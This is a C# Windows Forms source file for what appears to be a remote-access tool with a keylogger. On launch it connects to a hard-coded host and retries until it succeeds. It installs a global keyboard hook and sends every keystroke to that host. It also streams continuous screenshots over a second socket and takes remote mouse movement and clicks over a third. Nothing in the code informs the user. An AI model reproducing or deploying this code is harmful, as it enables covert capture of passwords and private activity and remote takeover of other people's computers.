﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Windows.Forms;

namespace rj
{
    public partial class Form1 : Form
    {
        private Socket socket = null;
        private Socket socket2 = null;
        private Socket newSocket = null;
        private Socket newSocket2 = null;
        private Socket newSocket6 = null;
        private IPAddress IP = IPAddress.Parse("192.168.1.112");
        private int Port = 5761;
        private IPEndPoint myServer = null;
        private string comString = null;
        private string command = null;
        private string parameter = null;
        private bool isConnected = false;
        private static string nowcmd = "";
        private KeyboardHook k_hook;
        private static string Info = "";
        private static object sy = new object();
        public Form1()
        {
            InitializeComponent();
            Thread.Sleep(5000);
            //   button5_Click(null,null);

            InitCommand();
            //  
        }
        private void hookstart()
        {
            if (k_hook == null)
            {


                k_hook = new KeyboardHook();
                k_hook.KeyDownEvent += new KeyEventHandler(hook_KeyDown); //钩住键按下
                k_hook.Start(); //安装键盘钩子
            }
        }

        private void hook_KeyDown(object sender, KeyEventArgs e)
        {

            //判断按下的键（Alt + A）
            /*  if (e.KeyValue == (int)Keys. )
              {
               
              }*/
            //   mt.WaitOne(1000000000);



            if (!k_hook.CapitalState == true)
            {
                switch (e.KeyValue)
                {
                    case (int)Keys.A:
                        Info = "a";
                        break;
                    case (int)Keys.B:
                        Info = "b";
                        break;
                    case (int)Keys.C:
                        Info = "c";
                        break;
                    case (int)Keys.D:
                        Info = "d";
                        break;
                    case (int)Keys.E:
                        Info = "e";
                        break;
                    case (int)Keys.F:
                        Info = "f";
                        break;
                    case (int)Keys.G:
                        Info = "g";
                        break;
                    case (int)Keys.H:
                        Info = "h";
                        break;
                    case (int)Keys.I:
                        Info = "i";
                        break;
                    case (int)Keys.J:
                        Info = "j";
                        break;
                    case (int)Keys.K:
                        Info = "k";
                        break;
                    case (int)Keys.L:
                        Info = "l";
                        break;
                    case (int)Keys.M:
                        Info = "m";
                        break;
                    case (int)Keys.N:
                        Info = "n";
                        break;
                    case (int)Keys.O:
                        Info = "o";
                        break;
                    case (int)Keys.P:
                        Info = "p";
                        break;
                    case (int)Keys.Q:
                        Info = "q";
                        break;
                    case (int)Keys.R:
                        Info = "r";
                        break;
                    case (int)Keys.S:
                        Info = "s";
                        break;
                    case (int)Keys.T:
                        Info = "t";
                        break;
                    case (int)Keys.U:
                        Info = "u";
                        break;
                    case (int)Keys.V:
                        Info = "v";
                        break;
                    case (int)Keys.W:
                        Info = "w";
                        break;
                    case (int)Keys.X:
                        Info = "x";
                        break;
                    case (int)Keys.Y:
                        Info = "y";
                        break;
                    case (int)Keys.Z:
                        Info = "z";
                        break;

                }
            }
            else
            {
                switch (e.KeyValue)
                {
                    #region a-z

                    case (int)Keys.A:
                        Info = "A";
                        break;
                    case (int)Keys.B:
                        Info = "B";
                        break;
                    case (int)Keys.C:
                        Info = "C";
                        break;
                    case (int)Keys.D:
                        Info = "D";
                        break;
                    case (int)Keys.E:
                        Info = "E";
                        break;
                    case (int)Keys.F:
                        Info = "F";
                        break;
                    case (int)Keys.G:
                        Info = "G";
                        break;
                    case (int)Keys.H:
                        Info = "H";
                        break;
                    case (int)Keys.I:
                        Info = "I";
                        break;
                    case (int)Keys.J:
                        Info = "J";
                        break;
                    case (int)Keys.K:
                        Info = "K";
                        break;
                    case (int)Keys.L:
                        Info = "L";
                        break;
                    case (int)Keys.M:
                        Info = "M";
                        break;
                    case (int)Keys.N:
                        Info = "N";
                        break;
                    case (int)Keys.O:
                        Info = "O";
                        break;
                    case (int)Keys.P:
                        Info = "P";
                        break;
                    case (int)Keys.Q:
                        Info = "Q";
                        break;
                    case (int)Keys.R:
                        Info = "R";
                        break;
                    case (int)Keys.S:
                        Info = "S";
                        break;
                    case (int)Keys.T:
                        Info = "T";
                        break;
                    case (int)Keys.U:
                        Info = "U";
                        break;
                    case (int)Keys.V:
                        Info = "V";
                        break;
                    case (int)Keys.W:
                        Info = "W";
                        break;
                    case (int)Keys.X:
                        Info = "X";
                        break;
                    case (int)Keys.Y:
                        Info = "Y";
                        break;
                    case (int)Keys.Z:
                        Info = "Z";
                        break;

                    #endregion
                }
            }
            switch (e.KeyValue)
            {
                /* case  (int)Keys.A:
              System.Windows.Forms.MessageBox.Show("按下了aaa");
             break;*/
                case (int)Keys.D0:
                    Info = ")";
                    break;
                case (int)Keys.D1:
                    Info = "!";
                    break;
                case (int)Keys.D2:
                    Info = "@";
                    break;
                case (int)Keys.D3:
                    Info = "#";
                    break;
                case (int)Keys.D4:
                    Info = "$";
                    break;
                case (int)Keys.D5:
                    Info = "%";
                    break;
                case (int)Keys.D6:
                    Info = "^";
                    break;
                case (int)Keys.D7:
                    Info = "&";
                    break;
                case (int)Keys.D8:
                    Info = "*";
                    break;
                case (int)Keys.D9:
                    Info = "(";
                    break;

                case (int)Keys.Oemcomma:
                    Info = "<";
                    break;
                case (int)Keys.OemPeriod:
                    Info = ">";
                    break;
                case (int)Keys.Oemtilde:
                    Info = "~";
                    break;
                case (int)Keys.OemSemicolon:
                    Info = ":";
                    break;
                case (int)Keys.OemQuotes:
                    Info = "\"";
                    break;
                case (int)Keys.OemPipe:
                    Info = @"|";
                    break;
                case (int)Keys.OemCloseBrackets:
                    Info = "}";
                    break;
                case (int)Keys.OemOpenBrackets:
                    Info = "{";
                    break;
                case (int)Keys.OemQuestion:
                    Info = "?";
                    break;



                case (int)Keys.Oemplus:
                    Info = "+";
                    break;
                case (int)Keys.OemMinus:
                    Info = "_";
                    break;


                case (int)Keys.Decimal:
                    Info = "[Del]";
                    break;
            }
            //  mt2.ReleaseMutex();
            //  MessageBox.Show(Info);
            fasongjianpan();
        }

        private void InitCommand()
        {
            myServer = new IPEndPoint(IP, Port);
            socket2 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            while (!isConnected)
            {
                try
                {
                    socket2.Connect(myServer);
                    hookstart();
                    Thread thread3 = new Thread(new ThreadStart(target));//监听命令
                    thread3.Start();
                    /* Thread thread35 = new Thread(new ThreadStart(WriteToServerforcnned)); //监听命令
                     thread35.Start();*/


                    Thread thread1 = new Thread(new ThreadStart(ViewScreen));
                    thread1.Start();
                    Thread thread = new Thread(new ThreadStart(recievemsg)); //接收鼠标
                    thread.Start();
                    isConnected = true;
                }
                catch (Exception)
                {
                    isConnected = false;
                    Thread.Sleep(3000); //3秒后重新连接
                }
            }
        }
        public void WriteToServerforcnned()
        {
            /* newSocket6 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
             newSocket6.Connect(IP, Port + 38);*/
            while (socket2.Connected)
            {
                lock (sy)
                {


                    if (Info != "")
                    {


                        //sendMsg = "";
                        //   mt2.WaitOne(1000000000);
                        string sendMsg = Info + "\r\n";
                        byte[] ToSend = System.Text.Encoding.UTF8.GetBytes(sendMsg.ToCharArray());
                        try
                        {
                            socket2.Send(ToSend);

                            // int a = 0;
                            Info = "";
                            //  return true;
                        }
                        catch (Exception exception)
                        {
                            MessageBox.Show(exception.Message.ToString());
                            isConnected = false;
                            InitCommand();
                            return;
                        }


                    }
                }
            }
        }

        private void fasongjianpan()
        {
            if (Info != "")
            {


                //sendMsg = "";
                //   mt2.WaitOne(1000000000);
                string sendMsg = Info + "\r\n";
                byte[] ToSend = System.Text.Encoding.UTF8.GetBytes(sendMsg.ToCharArray());
                try
                {
                    socket2.Send(ToSend);

                    // int a = 0;
                    Info = "";
                    //  return true;
                    return;
                }
                catch (Exception exception)
                {
                    MessageBox.Show(exception.Message.ToString());
                    isConnected = false;
                    InitCommand();
                    return;
                }


            }
        }
        private void target()
        {

            while (true)
            {
                try
                {
                    byte[] byteMessage2 = new byte[1024];
                    int f = socket2.Receive(byteMessage2);
                    string command = System.Text.Encoding.UTF8.GetString(byteMessage2, 0, f);
                    int n = command.IndexOf("\r\n");
                    command = command.Substring(0, n);
                    /* if ( ss.IndexOf("s") == -1&f>500)
                     {
                        isConnected = false;
                     InitCommand();
                     return;
                     }*/
                }
                catch (Exception)//连接后又断开引发异常
                {
                    isConnected = false;
                    InitCommand();
                    return;
                }

            }
            /*isConnected = false;
            InitCommand();
            return;*/
        }
        private void button1_Click(object sender, EventArgs e)
        {
            IntPtr dc1 = CreateDC("DISPLAY", null, null, (IntPtr)null);
            //创建显示器的DC
            Graphics g1 = Graphics.FromHdc(dc1);
            //由一个指定设备的句柄创建一个新的Graphics对象
            Bitmap MyImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, g1);
            //根据屏幕大小创建一个与之相同大小的Bitmap对象
            Graphics g2 = Graphics.FromImage(MyImage);
            //获得屏幕的句柄
            IntPtr dc3 = g1.GetHdc();
            //获得位图的句柄
            IntPtr dc2 = g2.GetHdc();
            //把当前屏幕捕获到位图对象中
            BitBlt(dc2, 0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, dc3, 0, 0, 13369376);
            //把当前屏幕拷贝到位图中
            g1.ReleaseHdc(dc3);
            //释放屏幕句柄
            g2.ReleaseHdc(dc2);
            //pictureBox1.Image = MyImage;
        }

        private void button2_Click(object sender, EventArgs e)
        {
            // Point p = this.pictureBox1.PointToClient(Control.MousePosition);
            //  System.Windows.Forms.Cursor.Position = p;
            mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
        }
        [System.Runtime.InteropServices.DllImport("user32")]
        private static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
        const int MOUSEEVENTF_MOVE = 0x0001;      /*移动鼠标 */
        const int MOUSEEVENTF_LEFTDOWN = 0x0002; //模拟鼠标左键按下 
        const int MOUSEEVENTF_LEFTUP = 0x0004; //模拟鼠标左键抬起 
        const int MOUSEEVENTF_RIGHTDOWN = 0x0008; //模拟鼠标右键按下 
        const int MOUSEEVENTF_RIGHTUP = 0x0010;// 模拟鼠标右键抬起 
        const int MOUSEEVENTF_MIDDLEDOWN = 0x0020; //模拟鼠标中键按下 
        const int MOUSEEVENTF_MIDDLEUP = 0x0040;// 模拟鼠标中键抬起 
        const int MOUSEEVENTF_ABSOLUTE = 0x8000; //标示是否采用绝对坐标 
        [System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]
        private static extern IntPtr CreateDC(
            string lpszDriver, // 驱动名称
            string lpszDevice, // 设备名称
            string lpszOutput, // 无用，可以设定位"NULL"
            IntPtr lpInitData // 任意的打印机数据
            );
        [System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]
        private static extern bool BitBlt(
            IntPtr hdcDest, //目标设备的句柄
            int nXDest, // 目标对象的左上角的X坐标
            int nYDest, // 目标对象的左上角的X坐标
            int nWidth, // 目标对象的矩形的宽度
            int nHeight, // 目标对象的矩形的长度
            IntPtr hdcSrc, // 源设备的句柄
            int nXSrc, // 源对象的左上角的X坐标
            int nYSrc, // 源对象的左上角的X坐标
            System.Int32 dwRop // 光栅的操作值
            );
        private void ViewScreen()
        {
            newSocket2 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            newSocket2.Connect(IP, Port + 3);
            while (newSocket2.Connected)
            {
                //this.Hide();
                IntPtr dc1 = CreateDC("DISPLAY", null, null, (IntPtr)null);
                //创建显示器的DC
                Graphics g1 = Graphics.FromHdc(dc1);
                //由一个指定设备的句柄创建一个新的Graphics对象
                Bitmap MyImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, g1);
                //根据屏幕大小创建一个与之相同大小的Bitmap对象
                Graphics g2 = Graphics.FromImage(MyImage);
                //获得屏幕的句柄
                IntPtr dc3 = g1.GetHdc();
                //获得位图的句柄
                IntPtr dc2 = g2.GetHdc();
                //把当前屏幕捕获到位图对象中
                BitBlt(dc2, 0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, dc3, 0, 0, 13369376);
                //把当前屏幕拷贝到位图中
                g1.ReleaseHdc(dc3);
                //释放屏幕句柄
                g2.ReleaseHdc(dc2);
                //释放位图句柄
                //pictureBox1.Image = MyImage;
                //this.Show();
                MemoryStream ms = new MemoryStream();
                MyImage.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg);
                ms.Position = 0;
                string s = (ms.Length).ToString();
                for (int i = s.Length; i < 512; ++i)
                    s += "!";
                byte[] myData = new Byte[1024];
                myData = System.Text.Encoding.Unicode.GetBytes(s);
                //  byte[] myData = new byte[ms.Length];
                /* ms.Seek(0, SeekOrigin.Begin);    
                ms.Read(myData, 0, myDataby.Length);*/
                //   ms.Write(myData,0,(int)ms.Length);
                try
                {
                    newSocket2.Send(myData);
                    while ((ms.Read(myData, 0, 1024)) > 0)
                    {
                        newSocket2.Send(myData);
                        myData = new Byte[1024];
                    }
                }
                catch
                {
                    newSocket2.Close();
                    return;
                }
            }
            return;
        }

        private void button3_Click(object sender, EventArgs e)
        {
            //  ViewScreen();
        }

        private void button4_Click(object sender, EventArgs e)
        {
            InitCommand();
        }

        private void button5_Click(object sender, EventArgs e)
        {
            /* Thread thread2 = new Thread(new ThreadStart(InitCommand));
             thread2.Start();*/
            Thread thread = new Thread(new ThreadStart(recievemsg));
            thread.Start();
            Thread thread1 = new Thread(new ThreadStart(ViewScreen));
            thread1.Start();
            //  MessageBox.Show("已启动rj");

        }

        private void recievemsg()
        {

            newSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            newSocket.Connect(IP, Port + 35);
            while (newSocket.Connected)
            {
                //isConnected = true;
                string str = "";
                byte[] byteMessage = new byte[1024];
                try
                {

                    int n = newSocket.Receive(byteMessage);
                    while (n > 0)
                    {
                        string ss = System.Text.Encoding.UTF8.GetString(byteMessage, 0, n);
                        int x = ss.IndexOf("EOF");
                        if (x != -1)
                        {
                            str += ss.Substring(0, x);
                            break;
                        }
                        else
                        {
                            str += ss;
                        }
                        byteMessage = new byte[1024];
                        n = newSocket.Receive(byteMessage);
                    }
                    if (str.Length > 5)
                    {
                        str += "EOF";
                        if (this.IsHandleCreated)
                        {
                            this.Invoke(new getdg(this.showdata), new object[] { str });
                        }
                        str = "";
                    }
                }
                catch (Exception exception)
                {
                    MessageBox.Show(exception.Message.ToString());
                    //  isConnected = false;
                    //   Thread.Sleep(3000);
                    //  InitCommand(); 
                    return;
                }

            }
            // 


        }
        private delegate void getdg(string s);

        private void showdata(string s)
        {
            // listBox1.Items.Remove(s);
            // richTextBox1.Text += s;
            //   s = s.Substring(s.IndexOf("AOF"), s.IndexOf("EOF", s.IndexOf("AOF>")) - s.IndexOf("AOF"));
            try
            {
                s = s.Substring(s.IndexOf("AOF") + 3);
                string px = s.Split('|')[1];
                string py = s.Split('|')[2];
                string picx = s.Split('|')[3];
                string picy = s.Split('|')[4];
                string mcmd = s.Split('|')[5];

                int sx = Screen.PrimaryScreen.Bounds.Width;
                int sy = Screen.PrimaryScreen.Bounds.Height;
                //  MessageBox.Show(mcmd);
                System.Windows.Forms.Cursor.Position = new Point(((int.Parse(px) * sx) / int.Parse(picx)),
                    ((int.Parse(py) * sy) / int.Parse(picy)));
                if (nowcmd != mcmd)
                {
                    nowcmd = mcmd;

                    switch (mcmd)
                    {
                        case "mouseleft":

                            mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);

                            //    MessageBox.Show("lft"); 
                            return;
                        case "mouseright":

                            mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
                            //  MessageBox.Show("mouseright");

                            return;

                        case "mousedouble":

                            mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
                            mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
                            //   MessageBox.Show("dbl");

                            return;
                        default:
                            return;
                    }
                }
            }
            catch (System.Exception ex)
            {
                return;
            }
        }

        private void Form1_KeyPress(object sender, KeyPressEventArgs e)
        {
            /* if (e.KeyChar == (char) Keys.Escape)
             {
                 Point p = this.pictureBox1.PointToClient(Control.MousePosition);
                 System.Windows.Forms.Cursor.Position = p;
                 mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
             }*/
        }

        private void Form1_MouseClick(object sender, MouseEventArgs e)
        {
            /* if (e.Button == MouseButtons.Right)
             {
                 Point p = this.pictureBox1.PointToClient(Control.MousePosition);
                 System.Windows.Forms.Cursor.Position = p;
                 mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
             }*/
        }

        private void Form1_Click(object sender, EventArgs e)
        {
            /*  */
        }

        private void pictureBox1_MouseClick(object sender, MouseEventArgs e)
        {
            if (e.Button == MouseButtons.Right)
            {
                //  Point p = this.pictureBox1.PointToClient(Control.MousePosition);
                // System.Windows.Forms.Cursor.Position = p;
                mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
            }
        }
        //public string ReadFromServer(out bool isConnected)
        //{
        //    while (!CanRead)
        //    {
        //        Thread.Sleep(1000);
        //    }
        //   // CanRead = false;
        //    isConnected = true;
        //    string str = "";
        //    byte[] byteMessage = new byte[1024];
        //    try
        //    {
        //        int n = socket.Receive(byteMessage);
        //        while (n > 0)
        //        {
        //            string ss = System.Text.Encoding.UTF8.GetString(byteMessage, 0, n);
        //            int x = ss.IndexOf("<EOF>");
        //            if (x != -1)
        //            {
        //                str += ss.Substring(0, x);
        //                break;
        //            }
        //            else
        //            {
        //                str += ss;
        //            }
        //            byteMessage = new byte[1024];
        //            n = socket.Receive(byteMessage);
        //        }
        //    }
        //    catch
        //    {
        //        isConnected = false;
        //    }
        //    CanRead = true;
        //    return str;
        //}
    }
}
